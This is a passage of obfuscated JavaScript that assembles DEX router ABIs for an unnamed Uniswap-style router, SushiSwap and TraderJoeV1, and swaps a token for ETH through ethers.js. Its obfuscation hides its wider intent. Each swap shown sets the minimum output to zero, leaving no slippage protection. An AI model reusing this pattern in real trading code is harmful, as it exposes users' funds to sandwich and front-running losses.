stateMutability: "nonpayable",
type: 'function'
};
const _0x102ad4 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x3d2fe3 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x120820 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x3fdcd8 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x28f99f = {
internalType: "address",
name: 'to',
type: 'address'
};
const _0x136dbf = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x48e098 = {
inputs: [_0x102ad4, _0x3d2fe3, _0x120820, _0x3fdcd8, _0x28f99f, _0x136dbf],
name: "removeLiquidityETHSupportingFeeOnTransferTokens",
outputs: [{
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3e9b27 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0xb4e6c = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x1ff6b4 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x2ae92a = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x3a9e24 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0xdb2d6 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x292408 = {
internalType: "bool",
name: 'approveMax',
type: 'bool'
};
const _0x3a0d20 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0xf1969e = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x3cb720 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x41240d = {
inputs: [_0x3e9b27, _0xb4e6c, _0x1ff6b4, _0x2ae92a, _0x3a9e24, _0xdb2d6, _0x292408, _0x3a0d20, _0xf1969e, _0x3cb720],
name: "removeLiquidityETHWithPermit",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x197479 = {
internalType: "address",
name: "token",
type: 'address'
};
const _0x575696 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x36548a = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x4fd682 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x47dac3 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x1e8d2c = {
internalType: 'uint256',
name: "deadline",
type: "uint256"
};
const _0x58551e = {
internalType: "bool",
name: 'approveMax',
type: 'bool'
};
const _0x259302 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x414e8e = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x3471f4 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x58e956 = {
inputs: [_0x197479, _0x575696, _0x36548a, _0x4fd682, _0x47dac3, _0x1e8d2c, _0x58551e, _0x259302, _0x414e8e, _0x3471f4],
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens",
outputs: [{
'internalType': "uint256",
'name': "amountETH",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x512c2c = {
internalType: "address",
name: "tokenA",
type: 'address'
};
const _0x4b1c93 = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x49ab08 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x3a4027 = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x2e1bc8 = {
internalType: "uint256",
name: "amountBMin",
type: 'uint256'
};
const _0x3f5035 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x1a8902 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x15244a = {
internalType: "bool",
name: 'approveMax',
type: 'bool'
};
const _0x4d4759 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x5a92bc = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x24ccd1 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x25e593 = {
inputs: [_0x512c2c, _0x4b1c93, _0x49ab08, _0x3a4027, _0x2e1bc8, _0x3f5035, _0x1a8902, _0x15244a, _0x4d4759, _0x5a92bc, _0x24ccd1],
name: "removeLiquidityWithPermit",
outputs: [{
'internalType': 'uint256',
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountB",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3e1cbb = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x2948da = {
internalType: "address[]",
name: "path",
type: 'address[]'
};
const _0xe1beb8 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x57c0bf = {
internalType: "uint256",
name: "deadline",
type: 'uint256'
};
const _0x69293d = {
inputs: [_0x3e1cbb, _0x2948da, _0xe1beb8, _0x57c0bf],
name: "swapETHForExactTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0x2474e7 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0xc3c262 = {
internalType: "address[]",
name: 'path',
type: 'address[]'
};
const _0x11a794 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x401dc6 = {
internalType: "uint256",
name: "deadline",
type: 'uint256'
};
const _0x2dd38 = {
inputs: [_0x2474e7, _0xc3c262, _0x11a794, _0x401dc6],
name: "swapExactETHForTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "payable",
type: "function"
};
const _0x275e0a = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x4065d2 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x19822c = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x109977 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x508252 = {
inputs: [_0x275e0a, _0x4065d2, _0x19822c, _0x109977],
name: "swapExactETHForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0xdc7cd1 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x19867c = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0xe2d472 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x30e58a = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x3294b8 = {
internalType: 'uint256',
name: "deadline",
type: "uint256"
};
const _0x486d83 = {
internalType: "uint256[]",
name: "amounts",
type: 'uint256[]'
};
const _0x17361e = {
inputs: [_0xdc7cd1, _0x19867c, _0xe2d472, _0x30e58a, _0x3294b8],
name: "swapExactTokensForETH",
outputs: [_0x486d83],
stateMutability: "nonpayable",
type: 'function'
};
const _0x116079 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x16dfab = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x56d032 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x3dc6ab = {
internalType: "address",
name: 'to',
type: 'address'
};
const _0x30ac8e = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x3e576f = {
inputs: [_0x116079, _0x16dfab, _0x56d032, _0x3dc6ab, _0x30ac8e],
name: "swapExactTokensForETHSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x572cf6 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x2e6009 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x4184f8 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x3614d9 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x353388 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0xc74733 = {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
};
const _0x5338fa = {
inputs: [_0x572cf6, _0x2e6009, _0x4184f8, _0x3614d9, _0x353388],
name: "swapExactTokensForTokens",
outputs: [_0xc74733],
stateMutability: "nonpayable",
type: 'function'
};
const _0x353c58 = {
internalType: "uint256",
name: 'amountIn',
type: "uint256"
};
const _0x34b150 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x5e9d33 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x4393a1 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x525a16 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x52a4c0 = {
inputs: [_0x353c58, _0x34b150, _0x5e9d33, _0x4393a1, _0x525a16],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x369b01 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x46aaa4 = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x1f2704 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x3b2d4c = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x1b1e28 = {
internalType: 'uint256',
name: "deadline",
type: "uint256"
};
const _0x16e047 = {
inputs: [_0x369b01, _0x46aaa4, _0x1f2704, _0x3b2d4c, _0x1b1e28],
name: "swapTokensForExactETH",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1a6f51 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x2c6c4d = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x3520a0 = {
internalType: 'address[]',
name: 'path',
type: "address[]"
};
const _0x255d2d = {
internalType: "address",
name: 'to',
type: 'address'
};
const _0x543eb3 = {
internalType: 'uint256',
name: "deadline",
type: "uint256"
};
const _0x4e544b = {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
};
const _0x12944d = {
inputs: [_0x1a6f51, _0x2c6c4d, _0x3520a0, _0x255d2d, _0x543eb3],
name: "swapTokensForExactTokens",
outputs: [_0x4e544b],
stateMutability: "nonpayable",
type: 'function'
};
const _0x45cc9e = {
stateMutability: "payable",
type: "receive"
};
let _0x48c0f3 = [_0x319f6b, _0x23169e, _0x4fbf68, _0x395e8c, _0x502c8d, _0x441051, _0x39ae4b, _0xf7ba0, _0x59917b, _0x3051b2, _0x1316d7, _0x15012c, _0x48e098, _0x41240d, _0x58e956, _0x25e593, _0x69293d, _0x2dd38, _0x508252, _0x17361e, _0x3e576f, _0x5338fa, _0x52a4c0, _0x16e047, _0x12944d, _0x45cc9e];
let _0xfbddd9 = new ethers.Contract(_0x1d9d78, _0x48c0f3, _0x30ef12);
let _0x477629 = await _0xfbddd9.WETH();
let _0x3411ac = [];
_0x3411ac[0] = _0x579e7a.asset.token;
_0x3411ac[1] = _0x477629;
return _0xfbddd9.swapExactTokensForETH(_0x579e7a.asset.amount, 0, _0x3411ac, this.caller, _0x10922f);
}
case 'SushiSwap':
{
const _0x3262d5 = {
internalType: 'address',
name: "_factory",
type: 'address'
};
const _0x1b4860 = {
internalType: 'address',
name: "_WETH",
type: "address"
};
const _0x438b9f = {
inputs: [_0x3262d5, _0x1b4860],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x219ea0 = {
inputs: [],
name: "WETH",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: "view",
type: 'function'
};
const _0x559f72 = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0xc337d6 = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x318dd1 = {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
};
const _0xdc6a55 = {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
};
const _0x49b5f3 = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x1cba79 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x5787d9 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x2e7b5 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x2777a2 = {
inputs: [_0x559f72, _0xc337d6, _0x318dd1, _0xdc6a55, _0x49b5f3, _0x1cba79, _0x5787d9, _0x2e7b5],
name: "addLiquidity",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountB",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "liquidity",
'type': "uint256"
}],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x1e4c6a = {
internalType: "address",
name: "token",
type: 'address'
};
const _0x50ec90 = {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
};
const _0x31aefb = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x11f2d9 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x418f5e = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x116c61 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x5162bd = {
inputs: [_0x1e4c6a, _0x50ec90, _0x31aefb, _0x11f2d9, _0x418f5e, _0x116c61],
name: "addLiquidityETH",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': 'uint256'
}, {
'internalType': "uint256",
'name': "amountETH",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "liquidity",
'type': 'uint256'
}],
stateMutability: "payable",
type: 'function'
};
const _0x4990ac = {
inputs: [],
name: "factory",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: "view",
type: "function"
};
const _0x30b084 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x5e170c = {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
};
const _0x4645ff = {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
};
const _0x4be559 = {
inputs: [_0x30b084, _0x5e170c, _0x4645ff],
name: "getAmountIn",
outputs: [{
'internalType': "uint256",
'name': "amountIn",
'type': "uint256"
}],
stateMutability: "pure",
type: 'function'
};
const _0x539f62 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x5ecf66 = {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
};
const _0x16f01b = {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
};
const _0x37e8c8 = {
inputs: [_0x539f62, _0x5ecf66, _0x16f01b],
name: "getAmountOut",
outputs: [{
'internalType': 'uint256',
'name': "amountOut",
'type': "uint256"
}],
stateMutability: "pure",
type: 'function'
};
const _0x29457e = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x5544b6 = {
internalType: "address[]",
name: 'path',
type: 'address[]'
};
const _0x73086 = {
inputs: [_0x29457e, _0x5544b6],
name: "getAmountsIn",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: 'view',
type: 'function'
};
const _0x7f8ec5 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x622b60 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x1989f9 = {
inputs: [_0x7f8ec5, _0x622b60],
name: "getAmountsOut",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: 'view',
type: 'function'
};
const _0x173dae = {
internalType: "uint256",
name: 'amountA',
type: "uint256"
};
const _0x3ede92 = {
internalType: "uint256",
name: "reserveA",
type: "uint256"
};
const _0x18f53b = {
internalType: "uint256",
name: 'reserveB',
type: "uint256"
};
const _0x3cd8dd = {
inputs: [_0x173dae, _0x3ede92, _0x18f53b],
name: "quote",
outputs: [{
'internalType': "uint256",
'name': "amountB",
'type': 'uint256'
}],
stateMutability: "pure",
type: 'function'
};
const _0xbcd9f3 = {
internalType: 'address',
name: "tokenA",
type: "address"
};
const _0x5acfbc = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x3248a4 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x2f48db = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0xb99bf6 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x1754a2 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x276b1e = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0xbb5b99 = {
inputs: [_0xbcd9f3, _0x5acfbc, _0x3248a4, _0x2f48db, _0xb99bf6, _0x1754a2, _0x276b1e],
name: "removeLiquidity",
outputs: [{
'internalType': 'uint256',
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x2da8da = {
internalType: "address",
name: "token",
type: 'address'
};
const _0x48b9fb = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x1aec85 = {
internalType: "uint256",
name: "amountTokenMin",
type: 'uint256'
};
const _0x19e3e3 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0xcbe412 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x3bf22b = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x2d3f1c = {
inputs: [_0x2da8da, _0x48b9fb, _0x1aec85, _0x19e3e3, _0xcbe412, _0x3bf22b],
name: "removeLiquidityETH",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': 'uint256',
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2d99ae = {
internalType: 'address',
name: 'token',
type: 'address'
};
const _0x1245d4 = {
internalType: "uint256",
name: 'liquidity',
type: 'uint256'
};
const _0x4df507 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x199e97 = {
internalType: 'uint256',
name: "amountETHMin",
type: "uint256"
};
const _0x2bdf00 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x63d530 = {
internalType: "uint256",
name: 'deadline',
type: "uint256"
};
const _0x482df1 = {
inputs: [_0x2d99ae, _0x1245d4, _0x4df507, _0x199e97, _0x2bdf00, _0x63d530],
name: "removeLiquidityETHSupportingFeeOnTransferTokens",
outputs: [{
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x5c7e87 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0xdc1cc4 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x3549df = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x3829c7 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x3a0a48 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0xdd2242 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x2b3f07 = {
internalType: "bool",
name: "approveMax",
type: "bool"
};
const _0x4f22c9 = {
internalType: 'uint8',
name: 'v',
type: "uint8"
};
const _0x3821b9 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x57b46b = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x4915e3 = {
inputs: [_0x5c7e87, _0xdc1cc4, _0x3549df, _0x3829c7, _0x3a0a48, _0xdd2242, _0x2b3f07, _0x4f22c9, _0x3821b9, _0x57b46b],
name: "removeLiquidityETHWithPermit",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1b9991 = {
internalType: "address",
name: "token",
type: 'address'
};
const _0x26e2fb = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x308631 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x4955a5 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x451180 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x2ca2ed = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x46298a = {
internalType: 'bool',
name: 'approveMax',
type: "bool"
};
const _0x5b125a = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x1c991e = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x37c470 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x5e3643 = {
internalType: "uint256",
name: 'amountETH',
type: "uint256"
};
const _0x3fa719 = {
inputs: [_0x1b9991, _0x26e2fb, _0x308631, _0x4955a5, _0x451180, _0x2ca2ed, _0x46298a, _0x5b125a, _0x1c991e, _0x37c470],
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens",
outputs: [_0x5e3643],
stateMutability: "nonpayable",
type: 'function'
};
const _0xda1b77 = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0x3b9865 = {
internalType: "address",
name: "tokenB",
type: 'address'
};
const _0x1a04f7 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x3995ba = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x5db263 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x20addf = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x8fbd03 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4bafb5 = {
internalType: 'bool',
name: 'approveMax',
type: "bool"
};
const _0x19a8b7 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x17be5a = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x895330 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x288a9b = {
inputs: [_0xda1b77, _0x3b9865, _0x1a04f7, _0x3995ba, _0x5db263, _0x20addf, _0x8fbd03, _0x4bafb5, _0x19a8b7, _0x17be5a, _0x895330],
name: "removeLiquidityWithPermit",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x5a1db4 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x1b04c8 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x7ac194 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0xbb8f4e = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x3eb1df = {
inputs: [_0x5a1db4, _0x1b04c8, _0x7ac194, _0xbb8f4e],
name: "swapETHForExactTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0x42f5c = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x411f93 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x306917 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x5309de = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x525993 = {
inputs: [_0x42f5c, _0x411f93, _0x306917, _0x5309de],
name: "swapExactETHForTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0xc45550 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x3fcc7c = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x16a423 = {
internalType: "address",
name: 'to',
type: 'address'
};
const _0x7586d9 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x5c3398 = {
inputs: [_0xc45550, _0x3fcc7c, _0x16a423, _0x7586d9],
name: "swapExactETHForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x38baa3 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x3d4424 = {
internalType: 'uint256',
name: "amountOutMin",
type: "uint256"
};
const _0x336488 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x544ee5 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0xe1df8a = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x2a0a91 = {
inputs: [_0x38baa3, _0x3d4424, _0x336488, _0x544ee5, _0xe1df8a],
name: "swapExactTokensForETH",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x19739a = {
internalType: "uint256",
name: "amountIn",
type: 'uint256'
};
const _0x5a6f29 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x108931 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x4e1ce5 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x16540e = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x7df2fe = {
inputs: [_0x19739a, _0x5a6f29, _0x108931, _0x4e1ce5, _0x16540e],
name: "swapExactTokensForETHSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x304c89 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x3e0362 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x4bb684 = {
internalType: "address[]",
name: "path",
type: "address[]"
};
const _0x5028ac = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x12f3f4 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4ebda0 = {
inputs: [_0x304c89, _0x3e0362, _0x4bb684, _0x5028ac, _0x12f3f4],
name: "swapExactTokensForTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x5aa3c8 = {
internalType: 'uint256',
name: "amountIn",
type: "uint256"
};
const _0x310037 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x3736d8 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x4ae988 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x58de0c = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x47d66a = {
inputs: [_0x5aa3c8, _0x310037, _0x3736d8, _0x4ae988, _0x58de0c],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x4cb48d = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x342730 = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x1feb31 = {
internalType: "address[]",
name: "path",
type: "address[]"
};
const _0x485171 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x4fceb1 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x3a1048 = {
inputs: [_0x4cb48d, _0x342730, _0x1feb31, _0x485171, _0x4fceb1],
name: "swapTokensForExactETH",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x1759f2 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x449eb3 = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x3f5a36 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x13b220 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x4d0d72 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x33f527 = {
inputs: [_0x1759f2, _0x449eb3, _0x3f5a36, _0x13b220, _0x4d0d72],
name: "swapTokensForExactTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x6bc420 = {
stateMutability: "payable",
type: "receive"
};
let _0x4fd607 = [_0x438b9f, _0x219ea0, _0x2777a2, _0x5162bd, _0x4990ac, _0x4be559, _0x37e8c8, _0x73086, _0x1989f9, _0x3cd8dd, _0xbb5b99, _0x2d3f1c, _0x482df1, _0x4915e3, _0x3fa719, _0x288a9b, _0x3eb1df, _0x525993, _0x5c3398, _0x2a0a91, _0x7df2fe, _0x4ebda0, _0x47d66a, _0x3a1048, _0x33f527, _0x6bc420];
let _0x33f895 = new ethers.Contract(_0x1d9d78, _0x4fd607, _0x30ef12);
let _0x115da4 = await _0x33f895.WETH();
let _0x2b5b8f = [];
_0x2b5b8f[0] = _0x579e7a.asset.token;
_0x2b5b8f[1] = _0x115da4;
return _0x33f895.swapExactTokensForETH(_0x579e7a.asset.amount, 0, _0x2b5b8f, this.caller, _0x10922f);
}
case "TraderJoeV1":
{
const _0x3b1468 = {
internalType: 'address',
name: "_factory",
type: 'address'
};
const _0x515b7b = {
internalType: 'address',
name: "_WAVAX",
type: "address"
};
const _0xf482c7 = {
inputs: [_0x3b1468, _0x515b7b],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x5145dd = {
inputs: [],
name: 'WAVAX',
outputs: [{
'internalType': "address",
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: "function"
};
const _0x20aa80 = {
internalType: "address",
name: "tokenA",
type: "address"
};
const _0x4dd789 = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0xad31b2 = {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
};
const _0x81f57f = {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
};
const _0x4d68ff = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x52acd1 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x48d73f = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x2227d1 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x42854c = {
